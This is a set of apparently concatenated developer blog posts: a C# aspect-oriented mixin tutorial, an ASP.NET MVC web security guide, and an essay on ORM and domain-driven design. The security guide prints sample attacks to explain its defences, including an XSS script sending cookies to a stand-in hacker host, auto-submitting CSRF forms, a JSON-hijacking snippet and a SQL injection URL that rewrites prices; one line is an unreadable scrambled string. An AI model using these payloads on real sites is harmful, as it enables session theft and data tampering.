SheepAspect: Mixin

SheepAspect Preview-3 was released today, and one of the most important new features is Mixins. In Preview-2, there were only one advice implementation: [Around]. In preview-3 we introduce two more advices: [DeclareMixin] and [DeclareAttributes].

[DeclareMixin] advice allows you to add new interface implementations on existing classes. As an example, here is a plain simple Customer class:

public class Customer
{
	public string FirstName {get; set;}
	public string LastName {get; set;}
}

And a completely unrelated IEmailable interface:

public IEmailable
{
	public string EmailAddress {get; set;}
	public void SendEmail(string subject, string body);
}

Now let’s stitch these two together using SheepAspect mixin

[SingletonAspect]
public class SmtpAspect
{
	[SelectTypes(typeof(Customer))]
	public void Customer(){}

	[DeclareMixin("Customer")]
	public IEmailable CreateCustomerEmailable(Customer customer)
	{
		return new CustomerSmtpEmailable(customer);
	}

	private class CustomerSmtpEmailable: IEmailable
	{
		private readonly Customer _customer;

		public CustomerSmtpEmailable(Customer customer)
		{
			_customer = customer;
		}

		public string EmailAddress { get; set; }

		public void SendEmail(string subject, string message)
		{
			/* Just pretend this code is going to an SMTP server, not to a console */
			Console.WriteLine("To: {0} {1} ({2})", _customer.FirstName, _customer.LastName, EmailAddress);
			Console.WriteLine("Subject: {0}", subject);
			Console.WriteLine("\nMessage:");
			Console.WriteLine("Hola {0},", _customer.FirstName);
			Console.WriteLine(message);
			Console.WriteLine("\nSincerely yours");
			Console.WriteLine("Sheep");
		}
	}
}

With this aspect in place, your Customer class now magically implements IEmailable interface. The invocation will be directed to the implementation we have provided in our aspect (CustomerSmtpEmailable), which contains the infrastructure code of sending an email through an SMTP server or background tasks. Now you can actually cast your Customer arbitrarily to an IEmailable:

var customer = new Customer {FirstName = "Henders", LastName = "Sheep"};

var emailable = (IEmailable) customer; // Casting a Customer into IEmailable!

emailable.EmailAddress = "henders.sheep@foo.com";
emailable.SendEmail("Buy now!",
    "We have a great collection of sheep for you to buy.\nHurry, while stock lasts!");

That actually works, and you did not get InvalidCastException. Instead you’ll get this little output on your console window:

image

All source-code in this example can be found in SheepAspect.Example project on SheepAspect code repository.

Binding Mixins to Fields

Instead of declaring Mixin implementation factory method, you can also bind your Mixin implementations on aspect fields. For instance:

[SingletonAspect]
public class SmtpAspect
{
	[DeclareMixin("CustomerTypePointcut")]
	public IEmailable _customerEmailable;
}

Now your Customer will implement IEmailable interface that directs its execution to the IEmailable instance held by this _customerEmailable field on your SmtpAspect. Swapping the implementation of your Customer’s IEmailable is as simple as setting the value of this field.

Dependency Injection: Reborn

Some time in our career, we have learnt about separation of concerns, about how you should split domain-code from infrastructural concerns. Usually this is achieved by means of dependency-injection, the goal of which is to promote loose-coupling, maintainability, and testability. Dependency-injection has become one of the most fundamental principle in OO application development. But this is a principle that might no longer be relevant in AOP world.

The premise of dependency-injection does not necessarily hold true in AOP development process. There is no longer much need of rearchitecting your classes to fit into dependency-injection scheme just to achieve separation of concerns. You can in fact just implement your infrastructural concerns directly as part of your Customer domain class. For typical CRUD applications, you can do away without repository classes: you just simply inject ActiveRecord capability straight onto your entities through mixin.

Feeling dirty? Not quite. Separation is still maintained because these implementations are actualised as separate mixins that are injected externally by aspects where you consolidate all your infrastructural plumbing.

In our Customer/IEmailable example, neither your Customer class, IEmailable interface, nor their consumers are aware of any SMTP implementation. They are pure POCO. Then somewhere completely external to the core of your application code, you just introduce SmtpAspect mixins aspect where you actually implement your SMTP plumbing, and will statically enhance your customer class with SMTP capability. But from code perspective, your Customer class remains a simple POCO model.

For unit-testing, you can mock SmtpAspect class, and reimplement the IEmailable behavior with mocked behaviors.

Yes you do violate dependency-injection principle, you sinfully commit God-Object anti-pattern, but hey, those wisdoms was invented before the birth of AOP into static languages.

Web Development Security Patterns

As a good web developer, and a responsible one, there are certain patterns we must all follow to avoid exposing our application to common security and usability problems and the general shooting yourself in the foot. I’m documenting some of these basic dos and don’ts into this post. And while the examples given are specific to ASP.NET MVC, almost all of the guidelines (risks, vulnerability, and solutions) are applicable to web development in general.

The first step in securing a website is to know how to attack it. So this post will cover some how-to guides to perform some of the most common methods to hack a website, and ultimately how to prevent them. No, don’t feel obliged to rush and practice it against your local council’s websites, but even if you do, here I am disclaiming my involvement in any unlawful conducts 😉

1. Encode your texts

Risk:

XSS vulnerability

How:

Your dear hacker would visit your website, and post this comment on your wall or guestbook.

This is a dodgy message. <script>
   document.write(
      '<img src=http://HackerSite/StealCookie?input='
      + escape(document.cookie)
      + '/>');
</script>

If your website does not encode this text, the script will appear on your homepage, and steal all your users’ cookies, send all those data secretly to the the bad guy, and move out of the scene quietly.

Solution:

Always encode your texts, especially those that may be input/modified by your users. Before razor, in ASP.Net 4.0, you simply had to use

<%:Model.Message%>

.. instead of:

<%=Model.Message%>

Since razor, it will always encode your text.

@Model.Message

.. so you’ll rarely need to worry about any of these any more, except when you’re writing Html helpers: do remember HTML encoding.

2. Deny GET access to non-idempotent actions

When I say non-idempotent actions, I mean actions that may cause some side-effects to the system. E.g. update my profile, post a wall comment, resend-password, kill a kitten, etc. Anyhow, this is bad:

<a href="/AddToCart?ProductId=4423">Add to Cart</a>

Risk:

Cross-Site-Request-Forgery (XSRF) vulnerability.

How:

To launch an XSRF attack on your website, our megalomaniac hacker would write an HTML page that contains the following element to vandalize your shopping-cart:

<img src="http://yourwebsite/AddToCart?product=4423"/>

He would then publish that little HTML script on his own website/blog-post, or just simply send the script as part of an email to every internet user under the sun.

When unsuspecting users of yourwebsite open this email (or visit his dodgy website) on their browsers, the img tags will secretly make a call to yourwebsite (e.g. vandalise your shopping-cart, post fake wall messages, buy a giraffe, or other evil things megalomaniacs usually do) on behalf of the current users without their consents.

And yes, Facebook, till this very date in my knowledge, is still vulnerable to this attack on some of their pages. Some nasty websites have exploited this vulnerability to post public messages to your Facebook walls/friends on your behalf.

Solution:

By requiring POST access (and rejecting GET) on your non-idempotent actions, you will stop <img> or <script> tags to launch XSRF attack against them. In ASP.NET MVC, this is done by decorating your actions with [HttpPost] attribute.

[HttpPost]
public ActionResult AddToCart(Product product)
{
}

And change your “Add to Cart” hyperlink to a POST form submit button:

<form method="POST" action="/AddToCart">
   <hidden name="product" value="4423" />
   <input type="submit" value="Add to Cart" />
</form>

I know some web designers prefer to have certain functionalities to look like hyperlinks, rather than submit-button, for certain aesthetic/usability reasons. In such case, you should still use submit buttons, and apply some CSS to make them look like hyperlinks. Do not use actual hyperlinks.

I also know that UI designers hate submit-buttons because they are very hard to style and look consistent in all browsers. If you really MUST use hyperlinks, hook it with a Javascript (at the cost of accessibility) to make it submit an AJAX POST. All access through the GET gate must be denied.

3. Always validate anti-forgery token on every POST

Risk:

Merely blocking GET access to your non-idempotent actions is not enough to stop XSRF attack.

How:

To penetrate an HttpPost-restricted actions, our megalomaniac hacker would simply make a form on his own dodgy website, and make it submit to yourwebsite.

<form id="evilForm" method="POST" action="http://yourwebsite/Purchase">
   <input type="Hidden" name="ProductCode" value="BabyPanda" />
   <input type="Hidden" name="Quantity" value="1000000" />
   <input type="Submit value="Free Coke is Here!"/>
</form>

Who could resist a button that says “Free Coke”? What’s so evil about that button is: not only does it submit an order for a million baby pandas from yourwebsite.com, courtesy of your unsuspecting users, it does not even give out any free coke either!

So we’ll be safe as long as we don’t click any button on some malicious website right? Well not quite. Your hacker can save you the trouble and click the button for you:

<script type="text/javascript">
   $("form").submit();
</script>

So just by opening his evil page on your browser, BAAM! You purchase a million baby pandas.

Solution:

Always validate anti-forgery token on all your POST actions. In ASP.Net MVC, you just add a [ValidateAntiForgeryToken] attribute.

[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult PostToWall(string message)
{
}

Now your action is requiring __RequestVerificationToken to be passed in the post, and the value must match the one stored in a client cookie called “__RequestVerificationToken_Lw__”. (This token is initially generated by your application). So any arbitrary form submission without this token (or with an incorrect token) will be denied.

The existing form we wrote earlier (above) will now fail to submit. (Anti-Forgery Token Validation Exception). To pass this validation, you need to modify the form to include a “__RequestVerificationToken” hidden input that will hold the security token.

@using(Html.BeginForm("Purchase"))
{
   @Html.AntiForgeryToken() // this will render a hidden __RequestVerificationToken
   // the rest of your form
}

Since your hacker does not have access to your cookie (unless if you’re exploited by an XSS attack), he won’t be able to work out the token of the current user, and is therefore unable to make a POST that’s accepted by our validation. This anti-forgery protection is rendered ineffective if your website has any XSS vulnerability.

So why do we need our previous rule#2: “avoid GET”? Forging a POST is just as easy as forging a GET anyway, so now that we got this anti-forgery-token, why must I use POST?
Oh no, do NOT use anti-forgery-token with GET (i.e. via querystring, as I frequently see), because it’s easily leaked. E.g. if yourwebsite has links to other sites, they can use HTTP_REFERRER headers to read your users’ querystring (hence their tokens). So all your hacker needs to do is to leave spam messages (with his URL) on your wall/guestbook, and provoke the curious minds of your users to click it, and SMACK! Curiousity just killed the cat.

Even if you have no bogus links on yourwebsite (e.g. you don’t accept external URLs, or you have a seriously awesome spam filter) thus protecting your HTTP_REFERRER from malicious sites, a determined hacker can still just interogate your entire browsing history (using a JS+CSS trick), and if he gets lucky, that would be the end of your oh-so-important token.
So there, keep rule#2 and use POST!

4. Protect your JSON data

We’ve covered before that non-idempotent actions needs to be restricted to POST. So what about an idempotent GET actions that simply return (possibly sensitive) JSON data?

Risk:

JSON Hijacking

How:

AJAX requests are generally considered safe because browsers only allow AJAX requests (i.e. XmlHttpRequest aka XHR) to your own domain. Put simply, cross-site AJAX is not allowed, eliminating the risk of cross-site forgery via AJAX.

A hacker can still make a cross-domain access to your GET services using <img> or <script> tag. E.g.:

<img src="http://yourwebsite/InboxMessages" />

… but that’s fine, no harm there. As covered in point#2 above, we only allow GET on idempotent services (such as retrieving InboxMessages), not on unsafe services (such as sending messages). So the script above can’t possibly do any harm on the server. As for the JSON data itself, a hacker can’t read anything using <img> or <script> (he would need XHR or an IFrame inspection, both of which are not allowed to cross domains), so we’re all safe.

Unfortunately, using a clever trick, a hacker can actually read your JSON data. It’s achieved by rewriting the Array definition in Javascript.

<script type="text/javascript">
  // Overload the Array constructor so we can intercept data
  var realArray = Array;
  Array = function () {
     var arr = realArray.apply(arguments);
     stealData(arr);
     return arr;
  }
</script>

<script src="http://yourwebsite/InboxMessages" />

First, he overloads (read: hijacks) the Array constructor of the Javascript. From that point on, it’s fairly straightforward. He just simply hits your InboxMessage service using a <script> tag, and every Array that’s returned within your JSON will be chanelled through to his fake Array constructor that steals your data.

GMail was vulnerable to this attack until a couple years ago. Many of its users data (emails & contacts) were stolen using this very technique, before Google eventually fixed the hole.

Solution:

There are two options you can pick to protect against JSON hijacking.

  1. Do not allow GET access in the first place. Limit your JSON service only to POST requests (like what we did on point#2), even for idempotent services. By default, the Json() method in ASP.NET MVC does just that (it throws an exception on GET requests) for this exact security reason. But forcing POST to retrieve (JSON) data violates proper Http semantics, and might not even be an option if you are writing RESTful services. A better way to solve this is by restricting your JSON services to only allow AJAX calls (option #2).
  2. In ASP.Net MVC, you simply add [AjaxOnly] attribute from MVCFutures (which simply checks Request.IsAjax==true; something that you can write yourself very easily if you’re not using MVCFutures library).
    [HttpGet]
    [AjaxOnly]
    public ActionResult InboxMessages()
    {
    }
    

    Now your actions only accept AJAX requests. And since you can’t make a cross-site AJAX request, your actions are now safe from cross-site attacks.

5. Securing AJAX POSTs Against Forgery

We know from point#3 above that we should always validate our form submission against anti-forgery token. That’s fine. But what about AJAX calls, such as the following:

$.post("http://yourwebsite/ReplyMessage",
   { repliedMsgId: 123, replyMsg: "Roger that!"});

How do you secure this AJAX call?

Risk:

XSRF attack (look point#3)

How:

(Look point#3)

Solution:

Similar to point#3, you could change the way you make AJAX calls in your javascript by always adding an anti-forgery-token (retrieved from the user’s cookie) into the payload. But it’s not really necessary. There’s no change necessary in your javascript. You just simply to protect your server-side actions with [AjaxOnly] attribute (similar to point#4).

[HttpPost]
[AjaxOnly]
public ActionResult InboxMessages()
{
}

Since cross-site AJAX calls are not allowed by browsers, your action is safe against cross-site attacks, without the need to validate anti-forgery tokens.

In cases where you reuse the same action for both Ajax and non-Ajax POSTs, then you will need to resort back to the usual anti-forgery-tokens validations (and you’ll need to change your Ajax call to also include this token as part of the payload).

6. POST-Redirect-GET (PRG)

It’s a bad practice for a successful POST request to return a content page. For example, upon submitting a Purchase form, the server returns back a successful page (without redirection).

Risk:

Accidental double POSTs

How:

When you return a page from a POST request (without redirection):

  1. Your users might accidentally make a repeated POST when they use back/forward navigation or refresh button on their browsers. They are practically unable to come back to the page they last saw (e.g. their order confirmation) without making another POST to the server (i.e. submitting another purchase).
  2. It may break browser bookmark feature. E.g. if your “Reply Message” returns back to Inbox page (without redirection), and the user bookmarks the page, he will be wrongly bookmarking a wrong URL (/Reply) instead of the actual /Inbox URL.

Solution:

As a general acceptable rule, your POST should always return a redirection unless the POST has been unsuccessful (i.e. no impact has been made on the server). For instance, upon a successful Purchase POST, instead of returning a confirmation page, the POST should rather redirect the browser to /PurchaseConfirmation?OrderNumber=1234 (which in turn displays the order confirmation page).

If the POST has been unsuccessful (and all changes have been rolled-back), the general acceptable rule is for the POST to return the same page, without any redirection. This way, the user can retry submitting the form by refreshing the page, without having to navigate back.

So if you combine this with rule#2, you’ll get this rule:

  • GET should only return contents. It should not make any server-side effect. (I.e. idempotent requests, aka “queries”)
  • POST should only make server-side effects, and it should not return contents (i.e. non-idempotent requests, aka “commands”). It also means that if no server-side effect was made (e.g. failures), it may return contents.

Basically, Command-Query-Separation (CQS). The advantages of following this pattern are:

  1. It avoids confussion and frustration, as the users will be able to use their next/back navigation or refresh-button without accidentally causing double-posts nor being prompted by their browsers about it. It has become one of those Internet norms, and your typical users will be expecting this behavior from your website, so you might as well embrace it.
    Furthermore, when you use GET (including the results of POST-redirection), the browser will cache the page so that when the user navigates back/forward he will be able to view his last-viewed pages, instead of having to refetch the page from the server (which might have changed or expired). If you use POST to return a page without redirection, the user will be forced to make another POST (which will cause him to buy another product) when he tries to see the confirmation message of his last order.
  2. Redirection ensures that the user will be able to bookmark the page without mistakenly taking a wrong URL.

7. Always use controller-specific ViewModel for ModelBinding

public class Customer
{
   public string FirstName {get; set;}
   public string LastName {get; set;}
   public int CreditRating {get; set;}

   /* other properties/methods */
}

A customer can’t change his own credit-rating from his profile page, which is, by the way, the following:

@using(Html.BeginForm("EditMyProfile")
{
   <div>
      @Html.LabelFor(x=> x.FirstName)
      @Html.EditorFor(x=> x.FirstName)
   </div>
   <div>
      @Html.LabelFor(x=> x.LastName)
      @Html.EditorFor(x=> x.LastName)
   </div>

   <input type="Submit" value="Save" />
}

And here’s the controller action that handles the form.

[HttpPost]
public ActionResult EditMyProfile()
{
   Customer customer = //get my customer
   TryUpdateModel(customer);

   // Save the customer
}

.. or if you have full-fledged model-binding infrastructure in place:

[HttpPost]
public ActionResult EditMyProfile(Customer customer)
{
   // save the customer
}

Risk:

Over-Posting Attack

How:

Over-posting vulnerabilities are often very easy to miss. particularly among ASP.NET MVC developers. To launch over-posting attacks, your attacker would just use Firebug or WebDeveloper to edit the HTML form and add the following textbox:

<input name="CreditRating" value="100" />

Thanks to ASP.NET MVC ModelBinder, he can now edit his CreditRating to 100 or whatever he wants. And in fact, especially if you use ORM that supports automatic change-tracking, he can even make other far-reaching changes on other objects by navigating through your object structure. E.g., still on EditMyProfile page:

<input name="Region.Administrator.Password" value="hackedPassword" />
<input name="ShoppingCart.Items[0].Price" value="0.01" />

Starting from a Customer object, he can jump through other objects and change your region’s administrator password, or change the prices of your products. Automatic change-tracking of your ORM will make sure that these changes will get saved!

Solution:

Do NOT use ASP.Net MVC’s ModelBinder against your actual domain objects, particularly those that are tracked by your ORM. ASP.Net ModelBinder should ONLY be coupled with ViewModels, and your ViewModel must expose only the properties that you’re allowing your users to input on that particular page.

[HttpPost]
public ActionResult EditMyProfile(EditMyProfileViewModel vm)
{
   // map the view-model values to the customer object
   // save the customer
}

Alternatively you can extract an interface of your domain-model, and only bind your controller action against this interface.

public class Customer: IMyProfileUpdatable, IAdminUpdatable
{
   public interface IMyProfileUpdatable
   {
      string FirstName {get; set;}
      string LastName {get; set;}
   }
   public interface IAdminUpdatable: IMyProfileUpdatable
   {
      int CreditRating {get; set;
   }

   // The rest of your normal Customer class
}

And the controller actions:

[HttpPost]
public ActionResult EditMyProfile()
{
   Customer customer = //get my customer
   TryUpdateModel<Customer.IMyProfileUpdatable>(customer); // Bind against the interface

   // Save the customer
}

[RequirePermission(Permissions.AdministerCustomer)]
public ActionResult EditCustomer()
{
   Customer customer = //get customer
   TryUpdateModel<Customer.IAdminUpdatable>(customer); // Bind against the interface

   // Save the customer
}

.. or if proper model-binding infrastructure in place:

[HttpPost]
public ActionResult EditMyProfile(Customer.IMyProfileUpdatable customer)
{
   // save the customer
}

[RequirePermission(Permissions.AdministerCustomer)]
public ActionResult EditCustomer(Customer.IAdminUpdatable customer)
{
   // Save the customer
}

By limiting your ModelBinding to a specific interface, you’re limitting to specific parts of your object that your users can reach. In most projects, I enforce this rule by making my ModelBinder to NOT bind any properties of my domain entities (by default), unless I explicitly mark my binding with a special attribute (e.g. [EditEntity]).

8. Don’t trust hidden-fields

This is a reminder why this is a bad (Razor) view:

@model Sheep.UserProfile
@using(Html.BeginForm("UpdateMyProfile"))
{
   @Html.Hidden(x=> x.User.Id);
   @Html.EditorFor(x=> x.User.FirstName);
   @Html.EditorFor(x=> x.User.LastName);
}

We use hidden field (or query-string) to pass the User.Id to our controller Action, which is usually to leverage custom model-binding infrastructure that automatically loads entities (e.g. User) by the Id being passed, then binds the rest of the properties.

Risk:

Prone to user manipulation

How:

By using Firebug to change the hidden User.Id field to some other UserId, a hacker can perform “update my profile” on behalf of ANY user he wishes. Your “update my profile” page is more like an “update ANY profile” page really.

Solution:

Yap, get rid of the UserId field from the client side (form field, cookie, or query-string). On the server side, you should always reinterogate again the identity of the current user (e.g. using ASP.NET membership), instead of relying on user input. It seems a very obvious advice, but you’ll be surprised how often I’ve seen this mistake.

9. HTTPS

I can’t stress this enough. NEVER ever submit a secure information via HTTP. Especially on a public network. NEVER.

Unfortunately, many websites (such as Facebook) default their login-pages to its HTTP version, and users need to explicitly change to HTTPS yourself if they choose so.

HTTP is very bad, worse than you might think. It’s very easy to snoop packet traffic in networks, especially wireless networks, and without HTTPS, your information (e.g. password, credit-card number, etc) are sent (in clear-text) to practically ALL machines participating in the network. All they need to do is to actually read the message (e.g. using Wireshark) whenever they feel like ‘stealing’ your password, although I’m not sure you can even call it “stealing” since it’s YOU who literally broadcasts your password right to their front door.

So yes web-developers around the world, always equip all your sensitive forms with SSL. Probably don’t even make HTTP access on those forms possible at all, unless you have a very good reason to, and even so at least do NOT default it to HTTP.

10. SQL Injection

Yes it sounds like a thing from a long past. Our modern ways of doing data-access tend to protect us against SQL injections. We’ve all learnt that we should always parameterize your SQL values (using prepared-statements or Linq) as opposed to inlining them in the string. SQL Injection attack is a dying breed.

However this vulnerability still reappears from time to time, such as the following example, which is still regularly seen even in today’s world. Consider this URL on your product search page:

http://yourwebsite/products?minPrice=300&sortBy=ProductDescription

And here’s our controller action. Being a good developer, we use a prepared-statement to parameterize all our SQL values (e.g. minPrice).

[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   var products = Query<Product>(
      "select * from Products where Price >= @minPrice order by " + sortBy,
      new {minPrice = minPrice});

   return View(products);
}

That was a common example of a SQL-Injection hole.

Risk:

SQL Injection attack

How:

Our hacker can make the following request on his browser:

http://yourwebsite/products?minPrice=300&sortBy=ProductDescription;UPDATE%20Products%20SET%20Price=0.01

When that gets executed, it will change the pricing of your products in a way that makes your customers immensely happy, and your boss immensely sad.

I was using SQL in that example, but the same attack method can be used against ORMs, for instance if you use NHibernate’s HQL, you’re not immune against HQL Injections.

Solution:

Make sure you validate your input.

[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   ValidateColumn(sortBy);
   var products = Query<Product>(
      "select * from Products where Price >= @minPrice order by " + sortBy,
      new {minPrice = minPrice});

   return View(products);
}

The better way is perhaps to avoid string concatenation altogether, and use Linq or other query API instead (such as Criteria and QueryOver in NHibernate), though it’s not always possible.

[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   var products = Query<Product>()
         .Where(x=> Price >= minPrice)
         .OrderBy(ToMemberExpression(sortBy));
   return View(products);
}

private static Expression<Func<T, object>> ToMemberExpression<T>(string propertyName)
{
   var parameterExpression = Expression.Parameter(typeof (T), "x");
   var expression = (Expression) parameterExpression;
   var str = propertyName;
   var chArray = new char[]{'.'};

   foreach (var propertyName1 in str.Split(chArray))
      expression = (Expression) Expression.Property(expression, propertyName1);

   return Expression.Lambda<Func<T, object>>((Expression) Expression.Convert(
       expression, typeof (object)), new ParameterExpression[] { parameterExpression });
}

oaae~ ve{| ozzohmk| og ette|z{gfzvze tet{aozk iejka t|etk|zfkx ve{ jfjg‖z kskg t{z eg ve{| fgt{z ce|ix’

Software Development Fundamentals, Part 3: Object Relational Mapping

This is my first blog post since I mysteriously disappeared from blogosphere for more than a full year, and as much as it deserves an explanation, disappointingly the fact is much duller than the conspiracy theory of alien abduction. Desperate for an excuse, the word “busy” immediately springs to mind. I’ll leave it at that.

Anyway, where were we? Oh right, in my last post, I promised to write about O/RM in the context of software architecture. The promise was dated a year ago, and a lot of things have changed since then in the way we build applications. Many lessons have been learnt in our industry, most notably NoSql and CQRS architecture, which make any talk about O/RM today seem embarrassingly archaic. But I’m the man of my word, my pledge is my bond, so here we are. After all, despite all the new exotic NoSql and CQRS, ORM is still by large the mainstream of today’s way of developing application. Mainstream is everything this series is.

This post is not going to talk about how to use ORM products, their performance characteristics, or, god forbids, a reenactment of the classical war of ORM vs Stored Procedure. If you’re looking for introduction to NHibernate and its feature, sorry this post might not be for you. Instead, I’m here to talk about the impact ORM makes to application architecture, and why it’s absolutely mandatory for building domain-driven architecture.

(n)Hibernate

A natural way to start this post would be by asking the question: “What is ORM?”. But at second thought, it’s easier to define ORM by what it does, rather than what it is. So let’s just skip this question, and take Hibernate/nHibernate for our purpose, being the most popular ORMs of our time.

NHibernate is not a data-access framework as much as it is an Object Relational Mapping. ORM is based on the premise that we are writing our application using an object-oriented language, and that we want to keep it that way. Hibernate hides away the presence of relational database, so you can focus on modeling your business object. The persistence plumbing will simply be taken care of for you.

There Is No Database

There was a time where people used a term like “database aplication”. During that time, we typically had a database sitting at the core of the system, and the focus of our applications was to execute a bunch of SQL statements to transform “business-data”, and run some SQL queries to bring back the data to be presented on application UI.
We have moved past this kind of architectural mindset a long time ago, and began to realize that all we need is really just a place to keep objects. It shouldn’t be anymore complicated than that. We started asking question: why can’t we just store our objects in a big object Collection? (As in standard Java/.net Collection). Why can’t we just say:

  • Inserting a new customer: customers.Add(customer)
  • Fethcing it back: customer = customers.Where(c=> c.FirstName == “Piggy”).First()
  • Delete it: customers.Remove(customer)

It should be that simple: no SQL statement, no tables, no joins. Just a standard .net object collection. Now where that collection chooses to keep all those objects, that we simply don’t care. For all we know, it may be in the memory, or in the web session, or serialize them to file-system, or it may somehow store it to database tables… we don’t care. We only know we have a Collection of Customer objects, and as far as we’re concerned, there is no database.

Abstracting database to resemble object collection is incredibly hard. But it’s a solved problem. One of the most popular ORM products available today is Hiberate/nHibernate. Here’s an example of using nHibernate to update customer information and add a new account into it:

var customer = session.Linq<Customer>.Where(c=> c.CustomerNumber == custNo).List();
customer.CreditLimit += 500;
customer.AddAccount(new Account(accNo));

The first line above will invoke the following SQL query:

select * from FOH_CUSTOMERS c where c.CUSTOMER_NUMBER = ?

You also notice that there’s nothing in the code above to update the customer table, or to insert to the account table. It’s very much like accessing a normal object Collection: you pull an object from the collection, you mutate the object’s state, and that’s it: the object is already changed. The next time you grab the same customer, you’ll see the changed credit-limit, and the new account under the customer. You didn’t have to invoke update or anything, Hibernate will figure out the way to synchronize the data in your DB tables to reflect these changes.

NHibernate follows the “unit-of-work” pattern (which they call “Session“). Session is the nHibernate equivalent for object Collection. It represent a single isolated set of objects, meaning that if pull an object from a session and change the object’s state, the changes will be immediately visible to anyone using the same session. NHibernate keeps track of all these changes, and when we flush the session, it will do all the yoga to make sure all these changes are saved back to the central database, and therefore become visible to all other sessions. But our code does not have to be aware of any of that.

Therefore, in the example above, when you flush the session the following SQL statements will be executed:

update CRM_CUSTOMERS set CREDIT_LIMIT = ? where CUST_ID = ?;
insert into CRM_ACCOUTNS (ACCOUNT_ID, CUST_ID, ACCOUNT_NUMBER) values (?, ?, ?);

That was all what O/RM is, really. There are plenty other different features that various ORM products offer (lazy-load, futures, caching, associations, projection, batching, etc), but at the very core of all, the ultimate goal of every O/RM products is just that: the ability to “pretend” like a normal object Collection and to pretend like there is no database. At least that’s the goal, which is easier said than done. That feature might not sound such a big deal, but this is nonetheless the very essence of ORM, the one thing without which Domain-Driven-Design code would not be possible (on RDBMS).

O/RM And Domain Driven Design

I’m hoping to expand on DDD topic in later posts, but in a nutshell, our objects are not data bags. Your Customer object, a domain entity, might indeed hold some properties: name, email-address, accounts, credit-limits, etc, but more importantly, it represents the concept of Customer in your domain, and what really matters about it is its behaviors. It is domain behaviors that you’re trying to model as your domain objects. You don’t change the Address property of a Customer, instead the customer might move home. An Employee does not change its Salary property, instead the Employee might get a pay-rise, or maybe a promotion. We don’t just change the Balance of your bank account; we either Deposit(), Withdraw(), or Transfer() some money into bank accounts.

It is, however, extremely hard to write domain-driven code without ORM. I have worked in several projects without ORM on top of RDBMS, and I have to say that there can possibly be only one possible outcome: the objects are designed as normalised bags of properties whose role is merely to hold data to be loaded and saved into database tables. This anti-pattern popularly goes by the name of Anemic-Domain-Model.
The reason ORM takes an exclusive post in this blog series is exactly because I believe ORM is an absolute prerequisite of implementing DDD on top of relational persistence.

Let me present you with the ubiquitous sales-cart example. We’re an online book-store who sells books and magazine subscription. Let’s write a method to add a product into customer’s sales cart. Note that when we add a magazine subscription to the sales cart (which will charge weekly/monthly), the customer will have to re-read and re-agree on the Terms and Conditions of the sale again.

Here’s one implementation, without ORM:

public void AddToSalesCart(Customer customer, string productCode, int quantity)
{
   var salesCart = SalesCartDao.GetCartByCustomerId(customer.Id);
   var product = ProductDao.GetByCode(productCode);
   var cartItem = CartItemDAO.GetBySalesCartIdAndProductCode(salesCart.Id, productCode);

   if(cartItem != null)
   {
      cartItem.Quantity += quantity;
      CartItemDAO.Update(cartItem); // <- persistence
      }
   else
   {
      cartItem = new CartItem
      {
         salesCartId = salesCart.Id,
         ProductId = product.Id;
         Quantity = quantity;
      }
      CartItemDAO.Insert(cartItem); // <- persistence
   }

   if(product.IsSubscription && salesCart.IsTermsConditionAgreed)
   {
       salesCart.IsTermsConditionAgreed = false;
      SalesCartDao.Update(salesCart); // <- persistence
   }
}

The code above is written as a sequence of procedural instructions that puts values on dumb data-bags, which will in turn be used to generate update/insert SQL statements. This kind of code is known as transaction-script (anti-pattern). Unfortunately you cannot encapsulate this logic into domain methods (e.g. salesCart.AddProduct(product, quantity)), because then we don’t have a way to keep track of the changes that the method may make to object states (what table to update/insert). I.e., we have no way to synchronise the state changes back to the database. For this reason, all the objects need to stay as dumb as possible, only containing properties to hold data, and have no method.

ORM changes the game. It allows you to add behaviors to your domain-models because you no longer have to worry about keeping track of state changes. So the code above can be implemented into domain-driven code as such:

public void AddToSalesCart(Customer customer, string productCode, int quantity)
{
   var salesCart = salesCartRepository.Where(s=> s.Customer == customer).First();
   var product = productRepository.Where(p=> p.Code == productCode).First();

   salesCart.AddProduct(product, quantity);
}

public class SalesCart
{
   public void AddProduct(product, quantity)
   {
      var cartItem = items.Where(i=> i.Product == product).First();
      if(cartItem == null)
      {
         cartItem = new CartItem { Product = product};
         items.Add(cartItem);
      }
      cartItem.Quantity += quantity;

      if(product.IsSubscription)
         IsTermConditionAgreed = false;
   }
}

PS: I’ll discuss about “repository” further down, but for now, let’s just say I just renamed DAO into Repository.

In web applications, the code above would probably use session-per-request pattern. Here’s the brief flow of the pattern:

  1. When we receive a web-request from the client, the plumbing will start an NHibernateSession. This session will start to track all changes within this web-context.
  2. We pulls from repositories all domain entities that are required to perform the user request. (Line 3-4)
  3. We invoke domain methods on the entities. (Line 13-22)
  4. When we finish processing the request, and send the response back to the client, the plumbing will flush the session, thus saving all changes made in step #2 and #3 to the database.

This way, all the persistence tracking is done by the plumbing. Freed from traking and saving state changes, we are now able to implement our AddProduct logic as a domain method within SalesCart entity, which as you can see, contains no reference to any persistence concern (update/insert). The virtue of POCO/persitence-ignorance.
The application should not access any property under SalesCart directly. Everything has to go via domain methods of SalesCart, because it’s the Aggregate-Root, which we’ll discuss shorty.

Also notice another subtle thing. In the previous code, we reference entities by IDs (e.g. CustomerId, ProductId, SalesCartId), which demonstrates a very relational mindset. The reason it’s done that way is because referencing entities by objects would be an inefficient way from persistence viewpoint. You would have to load the whole entity even when ID would suffice. In the refactored code, objects associations are modeled in a natural way that reflects both domain-driven-design as well as just basic OOP we learned in school. ORM promotes this without compromising performance thanks to lazy-loading. I.e., the 2 following lines are almost exactly equivalent:

salesCart.CustomerId = customerId;
salesCart.Customer = session.Load<Customer>(customerId);

The second line does not make any database-call. It will only return a proxy with that customerId. The nice thing is, unlike customerId, the proxy object still acts as the actual Customer object: it will load from the database the first time we need it, e.g. when accessing salesCart.Customer.FirstName. This is yet another trick ORM pulls to pretend that “there is no database” without hurting performance.

Aggregate Root

SalesCart is an Aggregate-Root, another DDD concept. In essence, an Aggregate Root is an entity that consumers refer to directly, representing a consistency boundary. Aggregate-roots are the only kind of entity to which your application may hold a reference. Each aggregate-root composes and guards its sub-entities, and is persisted as a single unit. This helps avoid the mess (like in previous approach) because you now have a constraint that prevents you from creating a tight coupling to each individual sub-entities.
